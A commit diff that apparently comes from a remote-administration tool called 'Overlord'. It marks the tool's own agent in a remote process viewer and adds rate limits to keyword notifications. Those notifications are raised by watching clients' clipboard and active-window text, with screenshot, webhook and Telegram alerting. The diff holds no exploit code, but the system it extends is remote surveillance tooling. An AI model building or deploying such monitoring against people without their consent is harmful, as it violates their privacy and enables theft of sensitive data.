show running process in process viewer and add limiting to the notification system
This commit is contained in:
@@ -6,6 +6,7 @@ package handlers
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"os"
|
||||
"os/exec"
|
||||
"strconv"
|
||||
"strings"
|
||||
@@ -15,6 +16,7 @@ import (
|
||||
)
|
||||
|
||||
func listProcesses() ([]wire.ProcessInfo, error) {
|
||||
selfPID := int32(os.Getpid())
|
||||
|
||||
cmd := exec.Command("ps", "aux")
|
||||
output, err := cmd.Output()
|
||||
@@ -78,6 +80,7 @@ func listProcesses() ([]wire.ProcessInfo, error) {
|
||||
Memory: memBytes,
|
||||
Username: username,
|
||||
Type: procType,
|
||||
Self: int32(pid) == selfPID,
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -5,6 +5,7 @@ package handlers
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
@@ -37,6 +38,7 @@ type PROCESS_MEMORY_COUNTERS struct {
|
||||
}
|
||||
|
||||
func listProcesses() ([]wire.ProcessInfo, error) {
|
||||
selfPID := int32(os.Getpid())
|
||||
var pids [4096]uint32
|
||||
var bytesReturned uint32
|
||||
|
||||
@@ -157,6 +159,7 @@ func listProcesses() ([]wire.ProcessInfo, error) {
|
||||
Memory: memory,
|
||||
Username: username,
|
||||
Type: procType,
|
||||
Self: pid == selfPID,
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -153,6 +153,7 @@ type ProcessInfo struct {
|
||||
Memory uint64 `msgpack:"memory"`
|
||||
Username string `msgpack:"username,omitempty"`
|
||||
Type string `msgpack:"type,omitempty"`
|
||||
Self bool `msgpack:"self,omitempty"`
|
||||
}
|
||||
|
||||
type ProcessListResult struct {
|
||||
|
||||
@@ -27,6 +27,9 @@ const keywordInput = document.getElementById("keyword-input");
|
||||
const clipboardEnabledInput = document.getElementById("clipboard-enabled");
|
||||
const saveKeywordsBtn = document.getElementById("save-keywords");
|
||||
const keywordHint = document.getElementById("keyword-hint");
|
||||
const antiSpamMaxHitsInput = document.getElementById("antispam-max-hits");
|
||||
const antiSpamWindowInput = document.getElementById("antispam-window");
|
||||
const antiSpamCooldownInput = document.getElementById("antispam-cooldown");
|
||||
|
||||
// Webhook section
|
||||
const webhookEnabledInput = document.getElementById("webhook-enabled");
|
||||
@@ -476,6 +479,15 @@ async function loadKeywords() {
|
||||
if (clipboardEnabledInput) {
|
||||
clipboardEnabledInput.checked = data?.notifications?.clipboardEnabled === true;
|
||||
}
|
||||
if (antiSpamMaxHitsInput) {
|
||||
antiSpamMaxHitsInput.value = data?.notifications?.antiSpamMaxHits ?? 15;
|
||||
}
|
||||
if (antiSpamWindowInput) {
|
||||
antiSpamWindowInput.value = Math.round((data?.notifications?.antiSpamWindowMs ?? 600000) / 60000);
|
||||
}
|
||||
if (antiSpamCooldownInput) {
|
||||
antiSpamCooldownInput.value = Math.round((data?.notifications?.antiSpamCooldownMs ?? 600000) / 60000);
|
||||
}
|
||||
} catch {}
|
||||
}
|
||||
|
||||
@@ -484,11 +496,21 @@ function wireKeywordSave() {
|
||||
saveKeywordsBtn.addEventListener("click", async () => {
|
||||
const keywords = parseKeywords(keywordInput.value);
|
||||
const clipboardEnabled = clipboardEnabledInput ? clipboardEnabledInput.checked : false;
|
||||
const payload = { keywords, clipboardEnabled };
|
||||
if (antiSpamMaxHitsInput) {
|
||||
payload.antiSpamMaxHits = Math.max(1, parseInt(antiSpamMaxHitsInput.value, 10) || 15);
|
||||
}
|
||||
if (antiSpamWindowInput) {
|
||||
payload.antiSpamWindowMs = Math.max(1, parseInt(antiSpamWindowInput.value, 10) || 10) * 60000;
|
||||
}
|
||||
if (antiSpamCooldownInput) {
|
||||
payload.antiSpamCooldownMs = Math.max(1, parseInt(antiSpamCooldownInput.value, 10) || 10) * 60000;
|
||||
}
|
||||
try {
|
||||
const res = await fetch("/api/notifications/config", {
|
||||
method: "PUT",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ keywords, clipboardEnabled }),
|
||||
body: JSON.stringify(payload),
|
||||
});
|
||||
if (!res.ok) {
|
||||
window.showToast?.("Failed to save keywords", "error", 4000);
|
||||
@@ -501,6 +523,15 @@ function wireKeywordSave() {
|
||||
if (clipboardEnabledInput && typeof data?.notifications?.clipboardEnabled === "boolean") {
|
||||
clipboardEnabledInput.checked = data.notifications.clipboardEnabled;
|
||||
}
|
||||
if (antiSpamMaxHitsInput && data?.notifications?.antiSpamMaxHits) {
|
||||
antiSpamMaxHitsInput.value = data.notifications.antiSpamMaxHits;
|
||||
}
|
||||
if (antiSpamWindowInput && data?.notifications?.antiSpamWindowMs) {
|
||||
antiSpamWindowInput.value = Math.round(data.notifications.antiSpamWindowMs / 60000);
|
||||
}
|
||||
if (antiSpamCooldownInput && data?.notifications?.antiSpamCooldownMs) {
|
||||
antiSpamCooldownInput.value = Math.round(data.notifications.antiSpamCooldownMs / 60000);
|
||||
}
|
||||
window.showToast?.("Keywords updated", "success", 3000);
|
||||
} catch {
|
||||
window.showToast?.("Failed to save keywords", "error", 4000);
|
||||
|
||||
@@ -255,6 +255,9 @@ function createProcessRow(proc, depth = 0) {
|
||||
if (selectedPid === proc.pid) {
|
||||
row.classList.add("selected");
|
||||
}
|
||||
if (proc.self) {
|
||||
row.classList.add("self-process");
|
||||
}
|
||||
|
||||
const cpuColor =
|
||||
proc.cpu > 50
|
||||
@@ -276,6 +279,7 @@ function createProcessRow(proc, depth = 0) {
|
||||
}
|
||||
|
||||
let nameColor = "text-slate-200";
|
||||
let iconClass = "fa-microchip";
|
||||
let iconColor = "text-blue-400";
|
||||
if (proc.type === "system") {
|
||||
nameColor = "text-purple-400";
|
||||
@@ -287,12 +291,21 @@ function createProcessRow(proc, depth = 0) {
|
||||
nameColor = "text-green-300";
|
||||
iconColor = "text-green-400";
|
||||
}
|
||||
if (proc.self) {
|
||||
nameColor = "text-yellow-300 font-semibold";
|
||||
iconClass = "fa-crosshairs";
|
||||
iconColor = "text-yellow-400";
|
||||
}
|
||||
|
||||
const selfBadge = proc.self
|
||||
? ' <span class="ml-1 text-[10px] uppercase tracking-wide px-1.5 py-0.5 rounded bg-yellow-500/20 text-yellow-300 border border-yellow-500/40">agent</span>'
|
||||
: "";
|
||||
|
||||
row.innerHTML = `
|
||||
<div class="col-span-1 text-sm font-mono text-slate-400">${proc.pid}</div>
|
||||
<div class="col-span-4 flex items-center gap-1 truncate">
|
||||
${indent}${treeIcon}<i class="fa-solid fa-microchip ${iconColor}"></i>
|
||||
<span class="truncate ${nameColor}">${escapeHtml(proc.name)}</span>
|
||||
${indent}${treeIcon}<i class="fa-solid ${iconClass} ${iconColor}"></i>
|
||||
<span class="truncate ${nameColor}">${escapeHtml(proc.name)}</span>${selfBadge}
|
||||
</div>
|
||||
<div class="col-span-2 text-sm ${cpuColor} font-semibold">${proc.cpu.toFixed(1)}%</div>
|
||||
<div class="col-span-2 text-sm text-slate-400">${memoryStr}</div>
|
||||
|
||||
@@ -72,6 +72,46 @@
|
||||
Monitor clipboard content for keyword matches
|
||||
</label>
|
||||
<div class="mt-2 text-xs text-slate-500" id="keyword-hint"></div>
|
||||
|
||||
<!-- Anti-Spam Settings -->
|
||||
<div class="mt-4 pt-4 border-t border-slate-800">
|
||||
<h3 class="text-sm font-semibold text-slate-300">Anti-Spam Limits</h3>
|
||||
<p class="text-xs text-slate-500 mt-1">
|
||||
Block a keyword for a client when it fires too many times in a short window.
|
||||
</p>
|
||||
<div class="mt-3 grid grid-cols-1 sm:grid-cols-3 gap-3">
|
||||
<div>
|
||||
<label class="block text-xs text-slate-400 mb-1">Max hits before block</label>
|
||||
<input
|
||||
id="antispam-max-hits"
|
||||
type="number"
|
||||
min="1"
|
||||
max="10000"
|
||||
class="w-full rounded-lg bg-slate-950 border border-slate-800 text-slate-100 px-3 py-2 text-sm focus:outline-none focus:border-blue-500"
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label class="block text-xs text-slate-400 mb-1">Detection window (minutes)</label>
|
||||
<input
|
||||
id="antispam-window"
|
||||
type="number"
|
||||
min="1"
|
||||
max="1440"
|
||||
class="w-full rounded-lg bg-slate-950 border border-slate-800 text-slate-100 px-3 py-2 text-sm focus:outline-none focus:border-blue-500"
|
||||
/>
|
||||
</div>
|
||||
<div>
|
||||
<label class="block text-xs text-slate-400 mb-1">Cooldown (minutes)</label>
|
||||
<input
|
||||
id="antispam-cooldown"
|
||||
type="number"
|
||||
min="1"
|
||||
max="1440"
|
||||
class="w-full rounded-lg bg-slate-950 border border-slate-800 text-slate-100 px-3 py-2 text-sm focus:outline-none focus:border-blue-500"
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Per-user Webhook Delivery -->
|
||||
|
||||
@@ -26,6 +26,14 @@
|
||||
background-color: rgba(59, 130, 246, 0.3);
|
||||
border-color: rgba(59, 130, 246, 0.6);
|
||||
}
|
||||
.process-row.self-process {
|
||||
background-color: rgba(234, 179, 8, 0.12);
|
||||
border-color: rgba(234, 179, 8, 0.5);
|
||||
box-shadow: inset 3px 0 0 0 #facc15;
|
||||
}
|
||||
.process-row.self-process.selected {
|
||||
background-color: rgba(234, 179, 8, 0.28);
|
||||
}
|
||||
/* Dark scrollbar styling */
|
||||
#process-list::-webkit-scrollbar {
|
||||
width: 12px;
|
||||
@@ -189,6 +197,10 @@
|
||||
<i class="fa-solid fa-circle text-slate-200"></i>
|
||||
<span class="text-slate-400">Other</span>
|
||||
</div>
|
||||
<div class="flex items-center gap-1.5">
|
||||
<i class="fa-solid fa-crosshairs text-yellow-400"></i>
|
||||
<span class="text-slate-400">Overlord Agent</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Process List -->
|
||||
|
||||
@@ -41,6 +41,9 @@ export interface Config {
|
||||
telegramBotToken: string;
|
||||
telegramChatId: string;
|
||||
clipboardEnabled: boolean;
|
||||
antiSpamMaxHits: number;
|
||||
antiSpamWindowMs: number;
|
||||
antiSpamCooldownMs: number;
|
||||
};
|
||||
security: {
|
||||
sessionTtlHours: number;
|
||||
@@ -117,6 +120,9 @@ const DEFAULT_CONFIG: Config = {
|
||||
telegramBotToken: "",
|
||||
telegramChatId: "",
|
||||
clipboardEnabled: false,
|
||||
antiSpamMaxHits: 15,
|
||||
antiSpamWindowMs: 600000,
|
||||
antiSpamCooldownMs: 600000,
|
||||
},
|
||||
security: {
|
||||
sessionTtlHours: 168,
|
||||
@@ -438,6 +444,18 @@ export function loadConfig(): Config {
|
||||
String(process.env.OVERLORD_NOTIFICATION_CLIPBOARD_ENABLED || "").toLowerCase() === "true" ||
|
||||
fileConfig.notifications?.clipboardEnabled ||
|
||||
DEFAULT_CONFIG.notifications.clipboardEnabled,
|
||||
antiSpamMaxHits:
|
||||
Number(process.env.OVERLORD_NOTIFICATION_ANTISPAM_MAX_HITS) ||
|
||||
fileConfig.notifications?.antiSpamMaxHits ||
|
||||
DEFAULT_CONFIG.notifications.antiSpamMaxHits,
|
||||
antiSpamWindowMs:
|
||||
Number(process.env.OVERLORD_NOTIFICATION_ANTISPAM_WINDOW_MS) ||
|
||||
fileConfig.notifications?.antiSpamWindowMs ||
|
||||
DEFAULT_CONFIG.notifications.antiSpamWindowMs,
|
||||
antiSpamCooldownMs:
|
||||
Number(process.env.OVERLORD_NOTIFICATION_ANTISPAM_COOLDOWN_MS) ||
|
||||
fileConfig.notifications?.antiSpamCooldownMs ||
|
||||
DEFAULT_CONFIG.notifications.antiSpamCooldownMs,
|
||||
},
|
||||
security: {
|
||||
sessionTtlHours:
|
||||
|
||||
@@ -232,6 +232,7 @@ export type ProcessInfo = {
|
||||
memory: number;
|
||||
username?: string;
|
||||
type?: string;
|
||||
self?: boolean;
|
||||
};
|
||||
|
||||
export type ProcessListResult = {
|
||||
|
||||
@@ -170,6 +170,19 @@ export async function handleNotificationsConfigRoutes(
|
||||
}
|
||||
}
|
||||
|
||||
const antiSpamMaxHits =
|
||||
typeof body?.antiSpamMaxHits === "number"
|
||||
? Math.max(1, Math.min(10000, Math.floor(body.antiSpamMaxHits)))
|
||||
: currentConfig.antiSpamMaxHits;
|
||||
const antiSpamWindowMs =
|
||||
typeof body?.antiSpamWindowMs === "number"
|
||||
? Math.max(5000, Math.min(86400000, Math.floor(body.antiSpamWindowMs)))
|
||||
: currentConfig.antiSpamWindowMs;
|
||||
const antiSpamCooldownMs =
|
||||
typeof body?.antiSpamCooldownMs === "number"
|
||||
? Math.max(5000, Math.min(86400000, Math.floor(body.antiSpamCooldownMs)))
|
||||
: currentConfig.antiSpamCooldownMs;
|
||||
|
||||
const updated = await updateNotificationsConfig({
|
||||
keywords,
|
||||
webhookEnabled,
|
||||
@@ -178,6 +191,9 @@ export async function handleNotificationsConfigRoutes(
|
||||
telegramBotToken,
|
||||
telegramChatId,
|
||||
clipboardEnabled,
|
||||
antiSpamMaxHits,
|
||||
antiSpamWindowMs,
|
||||
antiSpamCooldownMs,
|
||||
});
|
||||
|
||||
for (const client of clientManager.getAllClients().values()) {
|
||||
|
||||
@@ -33,6 +33,12 @@ type NotificationRateState = {
|
||||
lastWarned: number;
|
||||
};
|
||||
|
||||
type AntiSpamState = {
|
||||
hits: number;
|
||||
windowStart: number;
|
||||
blockedUntil: number;
|
||||
};
|
||||
|
||||
type PendingNotificationScreenshot = {
|
||||
notificationId: string;
|
||||
clientId: string;
|
||||
@@ -45,6 +51,9 @@ type NotificationConfigShape = {
|
||||
spamWindowMs?: number;
|
||||
spamWarnThreshold?: number;
|
||||
historyLimit?: number;
|
||||
antiSpamMaxHits?: number;
|
||||
antiSpamWindowMs?: number;
|
||||
antiSpamCooldownMs?: number;
|
||||
};
|
||||
|
||||
type CreateDeps = {
|
||||
@@ -88,6 +97,8 @@ function safeSendViewer(ws: ServerWebSocket<SocketData>, payload: unknown) {
|
||||
}
|
||||
|
||||
export function createNotificationPluginHandlers(deps: CreateDeps) {
|
||||
const antiSpamState = new Map<string, AntiSpamState>();
|
||||
|
||||
const pluginUIEventBuffer = new Map<string, Array<{ event: string; payload: any; ts: number }>>();
|
||||
const PLUGIN_UI_EVENT_BUFFER_MAX = 200;
|
||||
const PLUGIN_UI_EVENT_TTL_MS = 60_000;
|
||||
@@ -183,6 +194,43 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
|
||||
return true;
|
||||
}
|
||||
|
||||
function checkAntiSpam(key: string, ts: number): boolean {
|
||||
const notificationConfig = deps.getNotificationConfig();
|
||||
const maxHits = Math.max(1, notificationConfig.antiSpamMaxHits || 15);
|
||||
const windowMs = Math.max(5000, notificationConfig.antiSpamWindowMs || 600000);
|
||||
const cooldownMs = Math.max(5000, notificationConfig.antiSpamCooldownMs || 600000);
|
||||
|
||||
const state = antiSpamState.get(key);
|
||||
|
||||
if (state) {
|
||||
if (ts < state.blockedUntil) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (ts - state.windowStart > windowMs) {
|
||||
state.windowStart = ts;
|
||||
state.hits = 1;
|
||||
state.blockedUntil = 0;
|
||||
antiSpamState.set(key, state);
|
||||
return true;
|
||||
}
|
||||
|
||||
state.hits += 1;
|
||||
if (state.hits > maxHits) {
|
||||
state.blockedUntil = ts + cooldownMs;
|
||||
logger.warn(`[notify] anti-spam: blocked keyword for ${key} until ${new Date(state.blockedUntil).toISOString()} (${state.hits} hits in ${windowMs}ms)`);
|
||||
antiSpamState.set(key, state);
|
||||
return false;
|
||||
}
|
||||
|
||||
antiSpamState.set(key, state);
|
||||
return true;
|
||||
}
|
||||
|
||||
antiSpamState.set(key, { hits: 1, windowStart: ts, blockedUntil: 0 });
|
||||
return true;
|
||||
}
|
||||
|
||||
function pruneNotificationRate() {
|
||||
const notificationConfig = deps.getNotificationConfig();
|
||||
const spamWindow = Math.max(5000, notificationConfig.spamWindowMs || 60000);
|
||||
@@ -193,6 +241,15 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
|
||||
deps.notificationRate.delete(key);
|
||||
}
|
||||
}
|
||||
|
||||
const antiSpamWindowMs = Math.max(5000, notificationConfig.antiSpamWindowMs || 600000);
|
||||
const antiSpamCooldownMs = Math.max(5000, notificationConfig.antiSpamCooldownMs || 600000);
|
||||
const antiSpamMaxAge = Math.max(antiSpamWindowMs, antiSpamCooldownMs) * 2;
|
||||
for (const [key, state] of antiSpamState) {
|
||||
if (now - state.windowStart > antiSpamMaxAge && now > state.blockedUntil) {
|
||||
antiSpamState.delete(key);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
setInterval(pruneNotificationRate, 60_000);
|
||||
@@ -264,6 +321,10 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
|
||||
if (!shouldAcceptNotification(rateKey, ts)) {
|
||||
return;
|
||||
}
|
||||
const antiSpamKey = `${clientId}:${keyword || title}`;
|
||||
if (!checkAntiSpam(antiSpamKey, ts)) {
|
||||
return;
|
||||
}
|
||||
const info = clientManager.getClient(clientId);
|
||||
const category: "active_window" | "clipboard" =
|
||||
payload.category === "clipboard" ? "clipboard" : "active_window";
|
||||
@@ -368,6 +429,11 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
|
||||
deps.notificationRate.delete(key);
|
||||
}
|
||||
}
|
||||
for (const key of Array.from(antiSpamState.keys())) {
|
||||
if (key === clientId || key.startsWith(`${clientId}:`)) {
|
||||
antiSpamState.delete(key);
|
||||
}
|
||||
}
|
||||
const item = { type: "notifications_cleared", clientId, ts: Date.now() };
|
||||
for (const session of sessionManager.getAllNotificationSessions().values()) {
|
||||
const sRole = session.userRole ?? session.viewer.data.userRole ?? "";
|
||||
|
||||
Reference in New Issue
Block a user